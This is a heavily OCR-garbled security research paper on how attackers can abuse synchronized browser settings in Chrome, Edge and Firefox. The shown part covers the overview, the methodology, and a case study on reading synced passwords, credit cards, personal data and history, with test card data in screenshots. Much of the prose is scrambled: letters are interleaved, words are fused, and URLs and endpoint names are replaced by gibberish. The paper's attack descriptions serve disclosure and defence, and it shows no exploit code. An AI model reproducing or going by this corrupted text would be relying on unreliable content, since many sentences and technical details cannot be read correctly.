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Synchronized Browser Settings

Edwar diBEPdwearrd. Pri or Qa-éddiasi kK hdamkaau

Abstract

Cloud
devi c
br ows
passw
way s

attat
guar a
start

Il n th
havoc
downl
handl

These
br ows
ces
| es
e u

—~ —hq
>0 70

Revi

synchronized browser settings provi dc¢

es. A significant number of these feat
er . -4y ncahecd oburdowser session i s compr omi
amds edi t ntardati on, but it can also be
such as forcing users to browse atmo mal i
lberbypass the soci al engineering port.i
nt eneadnngal i ci ous | inks are always <clicke

of the harm that can be done via synch
i's paper , s évuarebclh ndiegnuoenss ttroatleever age t hes

against an internal hpdtwompk omiscihgdi ng
oading and executing malicious files,
er execut-eonattt @alclkeeda wi ndows applications
problems are significantly worsened b
er extensions, whi ch c¢anpabgee usheed btroo ws
ses, allow for circumvention of the br
ystem, and if the preconditions are rig
ser opening their browser.

Ver sion 1.0

sion History

Description

05/ 12/ 2023 1.0 Il nitial Rel €




Contents

AD ST Fia Gl 1
Re Vi Si 0N HL. Sl Oy 1
C O 8 G0 L . P S e 6
Cloud Synchr.ani.z.at. . 0. . s 6
NOIBY NC ed St bl g S e e e 6
EXtensi onsS..&. . Add0.S i 6
1Y S T T o o T o T Y P SSPRPN 8
C A S € S LUl .S 8
V B I S L0 S i 8
o [0 = PPN 9
(O o T S o T 1 o TR 9
e T S = A o 1 USRPTRPRN 9
Key T er Mi im0 Q.. e 10
Case Study 1: ReconN..a.nd..p.a.s.s.i.v.e..a.t.t.a.clkls
Pas swWor du .l e f e ereeeenaes 11
L@ o T o T 4 I = P 11
o o = PSPPI 12
e T S = S o 1 SRR 12
Credit Car.d..J.hef it 15
L@ o T o T 4 I = S 15
o o = NSRRIt 16
e T S = T S o 1 SRR 18

Personally I denti f.i.abl.e..l.nf.o.r.mat.i.an.1T™heft

(O o I S o 0 1 0 1 = TP 19
o o = SRRt 20
[ T G =Y 0 o T ST PP P TR 20

Currently open brows.er...p.a.g.e.s..and..hi.s2tlor y

(@ o T o T 4 I = U 21
[ o o = PPN 22
e T = T S o 1 SRR 22
K e Y R eSS UL L S e 22

Case Study 2: Forced Navigation..TLec.hn2i3ques

f



Y= T T o T o L U R 0 L S = SRR 23

(O o T o T o I = PR 24
o o = SRR 24
e T S = T S o 1 RSP 24
Cr o-SBt e SChil Pl e 24
(O o T o T o I = PR 24
o o = SRR 26
e T S = N SR o 1 RSP 29
(=T G = T~ T U I OSSPSR 30
Case study 3: Il ocal fil.es.y.s.t.em..and..n.e3tlwor k a
Remot e Fi.l.e .Sl .S i 31
L@ o T o T 4 I = P 31
o o = SRR 32
e T S = N S o 1 SRR 33

Credenti al corr os..a.n..and..c.r.ac.k.i.ng...34

L O C A | S 35
Downl o0ad an.0.. Vi@ W 37
K Y R E.S.U L S 38
Case Study 4: Pr.ot.ac.al...,handl.er.s.........39
Running External..Ap.pl..c.al.l.0.nS ... 41
C N T O M 41

E O 0. 4 2

e T S = R o 1 TR 4 3

D O S et e e e e e e —a e e e e e e e e e a i ———araaaaaaaas 4 3
C N T O M 4 3

E O 0. 4 3

e T S = T S o 1 RS RSUPPIPRPPIN 4 4

K B Y 1 B Sl S 4 4
Case study 5: -3hyanc¢ ckEtusn.Cill.omug..............ooooo. 45
Dat @ T e e 45
JavaScript Comma.nd..and..Caont.r.ol................. 47
Remote Code..EX.Cll l QN ... 4 8

Settings Madi.fil.Cal. .0 i, 48



Subsequent Net wo.r.k...Ex.p.l.o.i.t.at.i.on........48

K B Y 1 B S U L S 48
Combining the resul.t.s..of..t.he..cas.e..s.t.uddd es
Hi g¢Clompl exi ty Tar.get.ed. . At.t.acks...........49
Targeted Dedi.cat.ed. .. At.t.acKS ... 49
Opportuni st.u.c..,Afl.t.ac kel .S 49

Key results fr.om..cas.e..s.t.udi.S. ... 50

THEFIIlPassive compromise..of. .. .user..nf.abMati on
THEFIT. 1 Compromise of history and pa@8sword
THEFIT. 3 Passive compromise of..user..b5hfor ma
THEFIT. 4 Passive compromise of..us.er..b2for ma

5

T HE FIT. Passive compromi se o.f...us.etrl..58for ma

THEFZIFor ced Passwo.r.d. . .T.hef to .. 54
THEF2T. 1 Forced Passwo..d..t.hef.t..i.n..Ed§é

THEFR3T Local Fil e..TLhef.t..Mi.a..XSS. ... 56
THEFT 3.1 SSH Private Key Thef.t...l.n..5Bbdge Vi
THEFT 3.2 SSH Private Key Thef.t....i.n..bBBdge vi

THEFT I nternal Ne.t.wo.r.k.. Ei.l.e...T.hef.t........ 59
The4.tl Share Dr..ve..Ei.l.e..T.hef.t. ... 59

THEFST Credenti al..Co.e.l.ClONiiiiiiiieeaeen, 61
THEFST. 1 Credential Coercion and..Des&@lop Pa
THEFST. 2 Re.l.a.ydDQ i iiiiiiiiiiiieiiiiieeieeeeeeeeveeeeeeeeeeeeeeeeeeees 61

THEF6T Fil e Compromise Via FEi..e..Di.r.ec62ve SO
THEF6T. 1 Config theft wv.i.a..Remot.e..Shaé2 File
THEF6T. 2 Config thef.t.. . vi.a..Lacal.. Ei.l.e63

DROPiForced Mal wa.r.e...De.l. i V.. r.Y i, 6 4
Forced Mal ware Del i ver.y..wi.t.h...Rr.et.ex6t4 Webpa

DROPiI2Z ncubated Mal.waur.e..Del. . V.l Y ... 65
Backdooring f.i.l.e..daoawnl.oads. ... 6 5

EXEL Request Forgery Attacks..t.o..Tr.i.gogeer Cod

EXEC€.1 Authenticated Remote..Code...Ex6e6cuti on
EXECL.R2ut henticated Remote Cade..ExedBtion i
EXECL.But hentReoamtteed Code Execution vi@&@ Uni v



EXECL. 4 Automatic execu.t.i.on....o.f.... f.i.l.eglin Fi

EXE€ Protocol Han.d.l.e.r...... Ex.ec.ut.i.an.......... 72
EXEIZ. 1 Remote code execution via a Protoco
.......................................................................................................................... 72

EXE-B Later al ...MONM.EME. N L 74
EXEGB.1 Overwriting a user 6s prwnfeidl eli diercd ot
.......................................................................................................................... 7 4

Prevention and.detl.eCt i Q. e, 75
ST MU At 0 T 0 Q. e 76

Addi t onal Re.F. I B L . S 77



COREONCEPTS

Browsers have all owed users to synchronize t
2012h® specifici nipelteamelnst agndns of each brow
soluanendi f feeaecelonf abntthe same key goals, su
history, passwords, eXd esgscbns-$yrmemdad®duntn g
compromi saé€ldl synchrsamhbisseade ednaptlrao e nsde dt he att ac!|
can modify features | i ke the userdés extensio
Upon initial investigation of these features
of these feateceamqgadyuwarrges Iciotntnideoplpae®ent user s
synchronising either corfmpor aldlsreo voaopse rpsoa ma le a
devidhss is best demonstr ana debyblheodv By sde foad
Edgwehen anaM86Wwadt used to sign into the devi (
with a synchronized browser that is wuploadi
n o tnigc i

One other key point of not ewawi h diw bdiofwfsiea uls
functiwamatotydentify and prevent, waahinsgnc
traffic comes from trusted domai n-de fainrde dc an
password. Addbtowsat | g o mmausheyr sp rtoanpesaipd e

without any warning ofl etahdeg nsge ctusr entalynnyi ohpelsise & ¢
enabling sync without considering it a poten

Cl o8ydnhcr oni zati on

As a brief pri-sngfecanwoew, clhosgnchroni sed se:
updatequests to a sync maedeechavingmked® essate,ha
such as adding a page to the history or upc
request updates from the syn& server itfoawmyda
have been made on anot hetryplievalcley Bp dhatse biurs e

some featurreseasbelopreethey are instantiated.
No#bynced Settings
Not all browser settings astdasymcler cgngdd . ona

di fferenbr beismepleeamenMasti oanemnoesnylnyced settings
attributeaeontleat uateto t he -sdeenvsiicte ver sfedrt | @G
specifying the path detrt idrogvnd ovwalle dprfaxXxy.s and

ExXtens®i Anslons

Browser erabndddea,oswshi ch for simplicity will |
this phbew,for applications to run within th
browser navigatesesboorceabwewbBied ,tlaed can mod
browser bertthegpast, extensions had the abil
Sucdads | oadi ngcodert emimladdi ng external we b p a
extenrndDuento misuse within theseseabsegsieonsy
Il i mi ted, and ext exisg minfsi cnaonw evantdtfadmng pheye sa

published on theirs. rPeppctéevehapp ®mabrei ous

:// www. mal war ebyt es . c osny rAach aaty tete iw sokt UOr 2Alidm0g2 / br ows e r
c// www. extr emet emihc rceesmafbif € @seynrecyd/e 3 HAoldBV2eu py o gdra ti & her oc e s s
/'l devel oper. Chrome. com/ docs/ extensions/ mv2/ manifestVersion.
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reasonabl $asodnenoenct i ng mal i cious code is nev
contain erstéumgad mfoonra Idietvye | ovp me hat aulsleavesx ec ut e
untrusted extemeli mows ewi,t hh mwever, t hese e X

synchroni sed.

‘“https://www. bl eepi ngcomput eCh rcomemd tneermssi/ 6iEsd n 5 ireeijniosiagldivie 5 6 © s e /



METHODOLOGY

The core of this paper assomescdmiaht g nains eadt tac
browser account whsiycnhc hirsoensi espabnindg utrheadt wt@h e v i cC 1
using this browser. esAsacbhorpommbre detvieveties

a new page, bs whvmil nigi rsg taemle doecnctaisailosn,al | y r es

appli aa®&s sumnmed.

Theoll onewit hgveésuesed t o analyse what settings a
T Manual modi fication of settings within th

1 Modi ftyhbem @ wset s§fiinlges .on di sk
T I'nterception and emonmkibf iwdeagtaiboangesxrdae ppdat e
the settings.
Depending on the tbhhtewsebhuenyme¢ whuastebdy yt Wwa s

client, deometentmesacting with the browser no
Vi si.bdF iada ydeeper inspeckPricecosi M6 i faeshaabmdal i
BurSpi‘twer e used for process, network, and SSlI

Case studi es

To demonstrate +{shie f aclauanfdageurraaqki eobnesmé , cas e

studies werel iwivlelstdgateds a number o f case

mal ware delivery methods identified,. and the
l1.Reconnai ssanwlbe t Hahecpassivel ypasswolkrddi ng
credig apmrdsonal |y i dentifiable informati
2.The core attack primitistegprathe casat aolmleit i@
guaranuserngaviagapieecn fi ed URL.

3.Usi Begr ver MessagearmBd ofcikl € SdMiBlect i ves t o st

host remote malicious payloads in an unsa
4 Usi ngf protocol handl ers as a method for t
applications from a browser context.

5. Themplications of synchronized malicious

Ver si ons

Testing watsh edonies toend huwerrosaisoenwbj ch can be foun
time of wrivengjohheflwasbtbstoeader

T Firefiddx 0 :bl),F(i & 4&lfldBx 0 bl t()6 4

T Chrover sion 117.0.5938.b%@)(Official Buil
1T Edgwersion 117.0.2045:b4i7t)( Official buil d)

/ /1 ear n -unsi/csrycssi onftte.rcncamh/seédownl oads/ pr ocmon
c// www. wireshark. org/
/'l portswigger.net/ burp

~ o o
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Any vulnerabilities which were patched prior
speci fied wheearceh pborsossisheluen.iugee | mpl ement ati on,
specific intricacies and key functionality i
Edge

By default, sysnc ewmeb ttor afhfei cf ol | owi ng endpoi |

EOODGKAYEWA EAOT OT £O0t AT T YOUT AYOsSYZEZAAAOYI AYOUT A%
EAT O #EOI I EOI YAl EAT OMEA” ) $,
The sync i Bdgeamalbse ffoorund at the foll owing UI

LAn o~

ARAYOUETAOAOT Al O

Chr ome

By default, svgsnc eweab ttor afhfei cf ol | owi ng endpoi
EOODOKYYAI EAT OOMHEQITW Gl At AT i Y

OUT AYAT i | AT Ay o AI#EAIINGRA EATCOMBA” ) $

The sync i@hroma&an sbedg ofround at the foll owing

# EOTKIYA OWETAOAOT A1 O

Firef ox

By default, sygsnc ewmeb ttor afhfei cf ol | owi ng endpoi |
OUlwaD ax A ous OUT At OAOOEAAOGH T T UET T At AT I

Fir effoexs not have an-ieaqeirnal ent hofwesvyem¢ t he ¢
Firefymx can be found at:

ECOOPOKYYIUDAGOE AAOI OAAAOEAAT AOL ET YATW1 AGAGOYO
st st EOQI |

Unl i ke Chr onfei rasfgdonE dndee t en cr y p tbeyd dlednaaulhlit yn g

that the cldoddnptowhiader a pl aintext copbyutof &
al sanmpetr fomryn s-erdervalidation on it.

The folixowingrgoovni ded very similad ntemnaotil eanplaig
founBdgaan &@hr omeand as such was used to provi
modi fication of settings at a |l ower | evel th

PN N

Once instoauudHkHedi evdidOak ouUl A



Key Terminol ogy

Exten#&hgniphirtrd functionality which can be i
synced between sessions. Each browser names
so Extension will-abé¢é used as the catch
Synricnt errredleg:s to the péa&de omkrahi al Edgvs amaeéwi n
data from within the GUI

About :Tenc:i mi | ar t ou sigrnticomma nd y wiFti lrieafbadxhte
sync plugin.

XSSCross Site Scripting (XSS) vul nerabiliti
JavaScript to be executed in a useros brows:e
typically resulting in credenti al compr omi se

CSRFK:rr o-Sste Request Forgery (CSRF) attacks o
user to sendoahrattedkeequest to a website.
the target site, these attacks can use the v
changing actions on the site.

SamBite RequeSamBbtgeRgguest Forgery Attacks
to CSRF attacks but originate from the appli
sent t o, this allows for circumvention of 8
requires XSS toakkplous, JagsadSdri m mu s t be
application.

RCERemote Code Execution (RCE) refers to any
arbitrary commands to be run on Thkeicatcttiymtd
will compromise the all data within the cont
WebshAkldersi stent backdoor in a web applicat
trigger a Remote Code Execution payl oad.

HTML SmugAMgltienghni que to bypass web géayeway
downl oading a file directly within in a brow



CASE STUDY 1: RECON AND
ATTACKS

The initiaévalsatceodnptddpenid at a st ored -sszwwhdin a
sesswiotnhout any overtTlyi smawa< i darse alkey i toanksi ng
for asghoudession and then datwaetrt i ngt hbeaac
throudgmItilbeawi ng met hods:

1T Observing the browser GUI

T Inspesymaogweb reqgquests and responses

T Anal ytshengfi l es on di sk

1 Vi ewit hdgat a t hr ouehy ntch sp aagleo u t

Password Theft

Al l three tested browsers all owedanfdort hter i v
endpotiomt which thowerer sdbiniitsh elslel usef ul for
attacker to identify wvalid credentials for i
Thee cr edeeonutlidalbse found at the foll owing URLS

f Chroihen ol der versi omEOff HiAR dW&ES COXrbDRAD Oaxtli O,
but haséatrareqd¢dE QkiYADAOAUXATOMCAOYDPAOOXxT OAOD
T Edg-&#ARAYOAOOET COY.PAOOXxT OAO
T FireAAkOOKkI.TI CET O
Chr oawredd gper o mptthe user to submit their desktofy
pl aintext pdeawumdeds, ptrlreivent t hese awduwlcks,

control their own dcdevhodofogi ebBeahdl|l cowl dgvi
directly to circumvent this feature.

Chr ome
Chromano featumaet i esalgdeatsos wor ds and would pro
prior to savingthepsagns vAcss, éssuscihmawan asrs eal i ng

passwbhd$ the victim had already saved

Shttps://blog. googl e /lcphrroogmees s swoax hla @edve@ o aig les /



¢ Settings — Autofill and passworc X | o= Google Password Manager X @ jankhjankh.githubio/paymenth X 4+ v - a X
< C' A Dangerous | jankhjankh.github.io/payment.html?uname=Username8psw=Password&remember=on o » Y 0O o
4 X
g -,
Test Responsive Checkout Form XXX X (%
Resize the browser window to see the effect. When the screen is less than 800px wide, 1 other
instead of next to each other.
On  Save password?
Billing Address Payment Username | Usemame =4
& Full Name Accepted Cards Password ~ seesssss ® $15
John M. Doe e 0a m Never 85
$8
; Name on Card
N Email You can use saved passwords on any device. They're %2
saved to Google Password Manager for
john@example.com John More Doe roy.bunsen@gmail.com
$30
& Address Credit card number

Fi gdireChrome prospeptri hg save their password.

¢ Settings — Autofill and passworc X o= Google Password Manager X @ jankhjankh.github.io/paymenth X ‘ + v - a X
< C'  ® Chrome | chrome://password-manager/passwords/jankhjankh.github.io T e Y 0O o :
= o= Password Manager a o

< € jankhjankh.github.io

Username Sites
ermame rD jankhjankh.github.io
Password Note
........ ©® r|:| No note added
Edit Delete
FigreViewing the resultant information in

Edge
Thedgbr ows er-s ycnl cohurdotnhies ef eat ure to aut-omati c
submitted passwodadhs .atTthadcskreat ikaenyalidigy user by

enabling this setting Af rfouh |t hdee neotntsa ckaetri ohe s
fountdhe nkey results section.

Firef ox

Wi tFh refdevice cmwedremguiarlesd t o view the passw
reqguauvseser ompt to save t hem.



@ jankhjankh.github.io/payment. X @ Logins & Passwords X @ NewTab X + v — O X
& C @ O E] O~ https://jankhjankh.github.io/payment.html?uname=Username&psw- bokd © o ﬁ =
Save login for jankhjankh.github.io?
Test Responsive Ch  usemame
Username v
Resize the browser window to s wide, make the two columns stack on
top of each other instead of nex .4
Billing Address [ show password Cart =4
& Full Name Save Dontsave v Product 1 $15
John M. Doe S RS B Product 2 $5
Fig@rePassword save prompt in Firefox.
|l nterestingleyywhan tahese sphaossswor ds were | ast
an attacker triage the order of credential s
@ jankhjankh.github.io/paymenthtm| X @& Logins & Passwords X + v — X
<« C @ @ Firefox  aboutilogins#%7Baef46dab-3c32-4d23-bd55-9b07e580¢392%7D w ® @ 9 =
Search Logins ar
Sortby: Name(AZ) v 2logins © jankhjankh.github.io # Edit [ Remove
accounts.firefox.com
Roy.Bunsen@gmail.com T .
jankhjankh.github.io jankh.github.io
Username
username
Password
Oct 4, 2023 Oct 4, 2023
Created Used
FigdreViewing login information in Firef
For extmatiomf &om dhoogugvende nusae password was | ast
an exampl e doat amehiha okke h eAhArl ocQUOKhOJ | Ahowin bel ow



¥ 3: Object
W cleartext: Object
id: "{aefd6dab-3c32-4d23-bd55-9b87e580c392}"
hostname: "https://jankhjankh.github.io"
formSubmitURL: “https://jankhjankh.github.io”
httpRealm: null
username: "username"
password: "password"
usernameField: "uname”
passwordField: "psw"
timeCreated: 1696463467376
timePasswordChanged: 1696463467376
¥ data: Object
id: "{aefd6dab-3c32-4d23-bd55-9b87e580c392}"
modified: 1696471546.64
¥ payload: Object
ciphertext: null
IV: "BVehNXhWbFioUMwFxSbgMa=="
hmac: "@89b7bb1d29c2222485af56645d3ba77c0d7flacc3bl2f0127b4537389d2b3as"
collection: undefined

FigbreThe internalisncdfudHAinrgeftchxe syimmestamps it



Cre@arntd Theft

All three tested browsers allowed for compro
the sites to which t6Goeei tr evase dhtadnadil @ da rwa tuhs e
hi gher secupasgwohdnsobmitted dat a.

Browsaepmearedentoidybmiftaewlasa credit card nunm
c heckfi pigtsditehleu hn Al gcerditst hsnuch, t himsotmewsruk ef al
mi styped credit cvaerdet ouptbdiefefse,r emhtircéhaua ti nge s
|l ess protections.

They could be found at the following URLS:
T Chr oeE OIkIYAOAOGEA ICIOM OO
T Edg-&éARAYOAOOCEA IO OO
T FirefTix s cannot be viewed through the GI
reading the | ocaAAl ©Ok&yt éhnnssitoanl,l ionrg itnhtee r .
decrypting sync traffic.

As with pebswmp@&Esger ompithe user to submit t
passwor d.

The | mmpactdidfheduldee very significant, depend
the informati oanrediftwac asradv p da sad seshii onn the fir
i mpact coul d be significant enough t o avoli
Al ternati vel yus gcaoyrpa mntmiisndnogc @aa s e omocabl e har |

organization in downstream ways.
Chr ome
Chr odniedot cl oud syedhtroocaseéehowenb@e Settohreeyd o0 n
di sk in a retBiyewahlIte nmgarnrher ecdairtady endtwhades f ul |
reveal ed:
£t Settings — Payment methods x ar e -
< C  ® Chrome | chrome://settings/payments 2 Tr
@ Setti ngs Search settings
4~ Youand Google € Payment methods ®@
B Autofill and passwords
) . Save and fill payment methods ®
e Privacy and security Fills in payment forms with your saved payment methods
(&) Performance ) .
Allow sites to check if you have payment methods saved @]
@  Appearance
To add or manage Google Pay payment methods, visit your Google Account
Q. search engine
ED  Default browser Payment methods Add
(@) onstart-up
VISA Bunsen s« ++ 4241
10/24
@ Languages

Fi géreVi ewing payment data in Chr ome.

https://en. wikipedia.org/wiki/Luhn_algorithm



® Chrome | chrome:/settings/payments

Edit card

Card number

4242424242424241

Expiry date

10 v

Name on card

Roy Bunsen

Card nickname

Bunsen

This card will be saved to this device only

Cance' m

Fi gurevViewing all credit card data except CV

Edge
The feature to save pawamsdmtudhmreiymicwedhobbweaesk
cadatwasot synchronised without a wuser expl i

@] @ Edge | edgey//settings/payments w m o= % )
Settings < Profiles / Payment info
S h setti

Q search settings n Try the new management experience in Wallet Go to Wallet
| Profiles

8] Privacy, search, and services Save and fill payment info 0

Offer to save cards and automatically fill out payment details
Appearance
D Sidebar Automatically save payment info
If you're syncing, your card will be automatically saved to your Microsoft account. Manage settings
(5 Start, home, and new tabs Learn more
Fi g8reFeature to automatically save payment

The only prompt swhhoewnn at oc rtehdei t u scearrad swead | s a\

notifioaoat hen URLda f Talpirpsr ofxai dreasteecloyn do.n e



© i) [ jankhjankh.github.io/paymenth: X | 83 Settings X ‘ aF — (] X
&« O 5] https‘//jankhjankh.github.io/paymenthtm\?f”.I £ Card saved to Microsoft Edge EI Ay m = ) ) I,
Test Responsive Checkout Form -
Resize the browser window to see the effect. When the screen is less than 800px wide, make the two columns stack on top of each Q
other instead of next to each other. ¢
Billing Address Payment Cart =4 -
& Full Name Accepted Cards Product 1 $15 ¢
@ Product 2 5, ©
y card Product 3 $8 B
] ame on Car
S Product 4 $2 |
john@example.com John More Doe v
Total $30 +
&= Address Credit card humber
u)
1111-2222-3333-4444
542 W. 15th Street . @3
3 B Qs L O QCeHEECGEE ~o0s e
Fi g@r eSmal | notification in Edge upon having a
This credit card data was not c¢cloud synced
to sync, which cr eaaseds hao wire wo eplroownpt b o x
X
Save card to Microsoft Account
Name on card
Roy Bunsen
Expiration date Nickname
09 v 2024 v (optional)
cw
CVV is only used to authorize your card and will
not be stored by Microsoft
Figabe Form to submit a card to Sync, includin:¢
As such, the clriedalihongd acfciadentally synced
of nkodigeen by | owe diofvgarlcirckediss c¢actduding v®Iidati
This feature was not .denti fied in other bro
Yhttps://en.wikipedia.org/wiki/Card_security_code



Firefox
FirewWasx fowmrud of ccddd tmembe ratthet he ti me of wr
documentation regawai mgcwherettsa efsitredneiitle v é
thisidenai fied dur iwag itahet @A OO Owd Ar eadi ng
t he dattahBElr@InO OAAtQallteer nd thicweallbyd, accessed vV
intercepting web traffi avamm crreygpdwneodgi adingdciar e f i
decryption.
@ jankhjankh.github.io/payment.html X + % — O X
- C @ O B nhttpsy//jankhjankh.github.io/payment html w Q0 9 =
& Full Name Accepted Cards Product 1 $15
Toh M. Doe = Product 2 $5
Product 3 $8
- ; Name on Card
5] Product 4 $2
john@example.com John More Doe
Total $30
&5 Address Credit card number
542 W. 15th Street 4
A2424242424242
1 City Exp Month
New York September
State Zip Exp Year cwv
NY 10001 2018 352
Figadki refox attemplriendg tt oCaauwlt onfuinmble ra
The whomeéedidactardincluding the CVVAAaBOk@QBIiA y
) o ©0® a =
FigaRe Full <credit card information in autofi

t



Personally I dentTHafatbl e | nf orr

All three tested browsers oatlhenwslRndlolry tirdental
| nf or midPtitgnt he f ol |l owing URLS:

T Chr omeE OIKIYA/AAOAOOAOD

T Edg-&éARAYOAOOEA®@®YI Al ET A&

T FireAAkOOKI T CETO
A key point about t hwes stemati tmivihtandlfed hp ess dwa
mi st wpedlidgcocudeddi | yiand hupg | owe rOtsheecru rsietnys istpi:
infor mawihsmaved dEW wmdienber € oulvddi chhnsiPdCdr ed a

DSSbreach. Altewaabimmehyy sSlkesétive business
information including passport numbers

Chr ome

The easiest met hod tthor oQUdA] OA©O) Ad &t ahwas bel
This dat ariemdd lhbwdmdace d s

& C  ® Chrome | chrome://sync-internals

@ Getting Started @ https//googlecom/1 G https//google.com/2 Imported From Fire...

About  Data  Syne Node Browser Search  UserEvents  Traffic Log  Invalidations

| Refresh | Last refresh time: 09/10/2023, 21:39:26

Autofill a Title cardnumber|42424242424242
D SZ:ADqAZZAZTGeKO/8bdBqgVSkiG2qHKB20IbNSELG/07mB 1n8IZn7wip//g + CT}90rTwxySETxJuidV2tRf 6kT2Z5VigDusaQ==
% address|12%20yeets620street Modification Time 2023-10-03 23:23:12 -07
92 _address|25%20C001%20Street Parent
Is Folder null
% cardname|Ron%20Crondle Type Autofill
€ cardname|Roy%208unsen __ null
{
¢ cardname|YEETY "CLIENT_TAG_HASH": “09Thr7gzchi4f01h08IZnEROFHGE=",
2523-16-63 23:23:00 -07",
& cardnumber(42424242424242 A0qt »};;G;;?éi(‘z?gs?ggflffﬁzanizﬂlbbliELq/ﬂmE]nx]gn?w)p//g&ET]QGrnvx\rEE?xJu)d\/ZIRF]EkTZZSV)gDuSEQ== y

2424242423242",
%@ city|New%20York “Hon_L ardnumber|42424242424262",
‘ORIGINATOR_CACHE_GUID":

W o234

2 dns-view-dns-lookup-inputfurr
H ardnumber”,
1% emaillRoy.Bunsen@gmail.com _tinestanp”: [
13340874180000000™

’ 1

€2 email|Roy.Bunsen@protonmail.com lalue": “42624242424242"
% email|test@testmail.com

2 ven,
Thr7g2ckiAfO1R08IZNEROFMGE=",

2 expmenth|September
400530773",

client_tag_has
creation_time”

% expyear|2021 1695400592834" ,
ase_specifics™: {},

12 expyear|2024

6eK0/ 80bdBqgVSkFG2qHkS2O1 NSELq/@PmBInSIZn7wi p/ /g+CTHOBr TuncSE 7xTuidVatRFIGKTIZEVE guSal==",
6400592634271",
F6rtKQECE+31BKUZNSbn4meqTmk="

9 expyearl2025  "specifics_hasn
¢ firstname|Roy “modelType": "Autofill”
%2 firstname|Roy%20Busnen

T firstname|test

%2 identifier|Roy.Bunsen@gmail.com

72 lastname[Bunsen

2 phone|+61411222333

T2 state|NY

FigagBgrull credit card information in autofill

Uhttps://1istings. pdcoicsuentelArCist NVSah dar Hsp ofr g/



Edge

sgeaskdyge

This usere asiteastwatso vi-ewt e hmnalugh
determined if Subaei ¢ dietchuachdaredh Wwased of
val i daitd some letini swecraer sso or ed her e
@ O (Y syncInternals x | +
& @ @ Edge | edge//sync-internals
About  Data =~ Sync Node Browser = Search  User Events  Traffic Log  Invalidations
Last refresh time: 10/9/2023, 9:43:34 PM
- Autofill A Title cardnumber|4242424242424241
ID s3d70663e-0157-4a31-bc22-9e266ecbe50a
%2 address|219%20Co0l%20Street Modification Time 2023-10-04 05:03:20 -07
¢ answer-0[7 Parent
Is Folder null
& answer-1j0 Type Autofill
£ answer-2|7 External ID null
{
%@ answer-3]0 "CLIENT_TAG_HASH": "IECE7sMOYoAhn@RveQkLPePMAGU=",
"CTIME™: "2023-18-04 ©5:03:20 -87",
@ answer_4|0 "ID": "s3d70663e-0157-4a31-bc22-9e266eche50a",
:_"2023-10-64 05:83:20 -07"
"NAME": "cardnumber|4242424242424241",
% answer-5|9 "NON UNIQUE NAME": "cardnumber|4242424242424241"
"ORIGINATOR_CACHE_GUID": "
¢ cardname|Roy%20Bunsen ..gﬁég;ﬁé}gﬁf&ff”tnEM—ID o
"SERVER_DEFINED_UNIQUE_TAG": "",
£ cardnumber|4242424242424241 "SPECIFICS": {
"autofill": {
"name": "cardnumber",
w city|New%20York "usage_timestamp": [
"13340894600000000"
- . '|
¢ ctlo0$MainContent$HomePage1$Login1$UserName|aQuser1 T TSERE TS T TS ER TR E RN

Fi
As

AAT OOKk®IUG i n

on

re
t

di

f ox
hwearse o
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sk on in

siymtcesr neadqui vaFeneif ofxd rail 1 setda | | i
wasreequevewitthhbsutd adecr ypt i
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@ About Sync X -+

< C (Y about:sync

crypto
Summary

1 records, modified Wed Oct 04 2023 00:13:07 GMT-0700 (Pacific Daylight Time)
P Response: {url: "https://sync-1-us-westl-g.sync.services.mozilla.com/1.5/266863367/storage/crypto?full=18Limit=1006", status: 200, success: true, headers: Object, records: Array(1)}

forms.
Records (object)
¥ Records

P 2: Object
P 1: Objec
P 2: Objec
» 3: Objec
P 4: Objec
P 5: Objec
» 6: Objec
P 7: Objec
B 8: Object
P 9: Object
P 10: Object

AARAARAR

P 11: Object
P 12: Object
P 13: Object
P 14: Object
P 15: Object
P 16: Object
P 17: Objec
B 13: Objec
P 19: Objec
P 20: Object

A

P 21: Object
B 22: Object
P 23: Object
P 24: Object
P 25: Object
P 26: Object
P 27: Object
» 28: Object
¥ 20, Obicct
id: "@BBaj/quTequlLITk"
umber”

242424242424241"

Figadade Vi ewing the atdtndfeirinlaldata via sync

Currently ompegasd ohwisstror y

Hi story may not be considered as valuable a
context of trying to crack the perowmgdee, ga
an attsadkerient information to identify int
attak«&ky .i nfammawuida@nr etri eved tthhieNSwanyd s mcl ud
internal &E&fpvwaearasnaasedds on t hese servers

Chr ome

Hi storyecdwlHEDIKIVWWEEQOIaotdewt he host n@Hie, any
parameters submitted with the request, and t

< C' & Chrome | chrome://history 2 %
G HiStory Q. search history
® chrome history = Bydate & Bygroup
[0 Tabs from other devices 0O e @ liralogin jirainternal

Figabe Vi ewing an internal site, and when the u

P <a id="1ink" class="website-link" focus-row-control focus-type="1link" title="Jira Login" href="http://jira.interna
1/try/cloud/signup?bundle=confluenceledition=free” aria-describedby="date-accessed” tabindex="0"> - </a>( flex
<span id="domain"»jira.internal</span>

FiguaBel nspecting the HTMbownnghéhlki §udbty GEdgear amet e




Edge
Hi stcooruyl d be Edga®twd QXWEEOOT ,GhdAliinti uded, GET
parameters, and hostnames

@ im) EL) History x I = o X
. N
<~ C @ Edge | edge://history/all A m = ® e L
[}
HIStOI’y All Filter by date W Clear browsing data a
Q Search history Recent Q
| 83 Al \:\ [ TITLE TO SECRET SITE jankhjankh.github.io 10:24 PM X 4
o) Recently closed -
G gd Welcome Elements Console  Sources  Network Performance Memory Application Security > 4+ %O 583 X 11
i = COL20A > £l & G >
<a class="c®1216 card_clickable_title" href="https://jankhjankh.github.io/payment.html?firstname=Roy+B| yles t”
unsen&email=Ro..en&cardnumber=4242424242424242&expmonth=09&expyear=2024&cvv=142&sameadr=on" title="TITL thov .cls &
E TO SECRET SITE" tabindex="-1" tarﬁt:” self” dir="auto" rel="noreferrer">TITLE TO SECRET SITE</a> ) :
</div> element.s a
w <div class="c01222"> | flex tyle {
<p class="c01218 c01230" title:”https://jankhjankh.github.io/payment.html?firstname:Ronyunsen&emailzR' display _’,
oy.Bunsen%40gmail. com&address=21+Cool+Street&city=New+vork&state=Ny&zip=16001&cardname=Roy+Bunsen&card : o
number=42424242424242428expmonth=09&expyear=2024&cvv=142&sameadr=on" dir="auto">jankhjankh.github.io _flEXS
</p> allgnf
w <div style="display: flex; align-items: center; justify-content: flex-end;"> flex %tems +
<p class="c01223 cel1230" title="Thu Oct @5 2023 22:24:11 GMT-0700 (Pacific Daylight Time)" dir="aut ;enter
0">10:24 PM</p> Justify- m)
</div> S/ conten

Figa7e Vi ewing history in Edge and inspecting el em

Firefox
Hi st ory coul dFibreefibaxunte BAOOHIa@BOQ OAT ACA
(EQO] O&and pravitded tURe, and parameters

@ Library — 0O X
@ Organize~ = Views~ T Import and Backup ~ O Search History
v @ History Name Tags Location
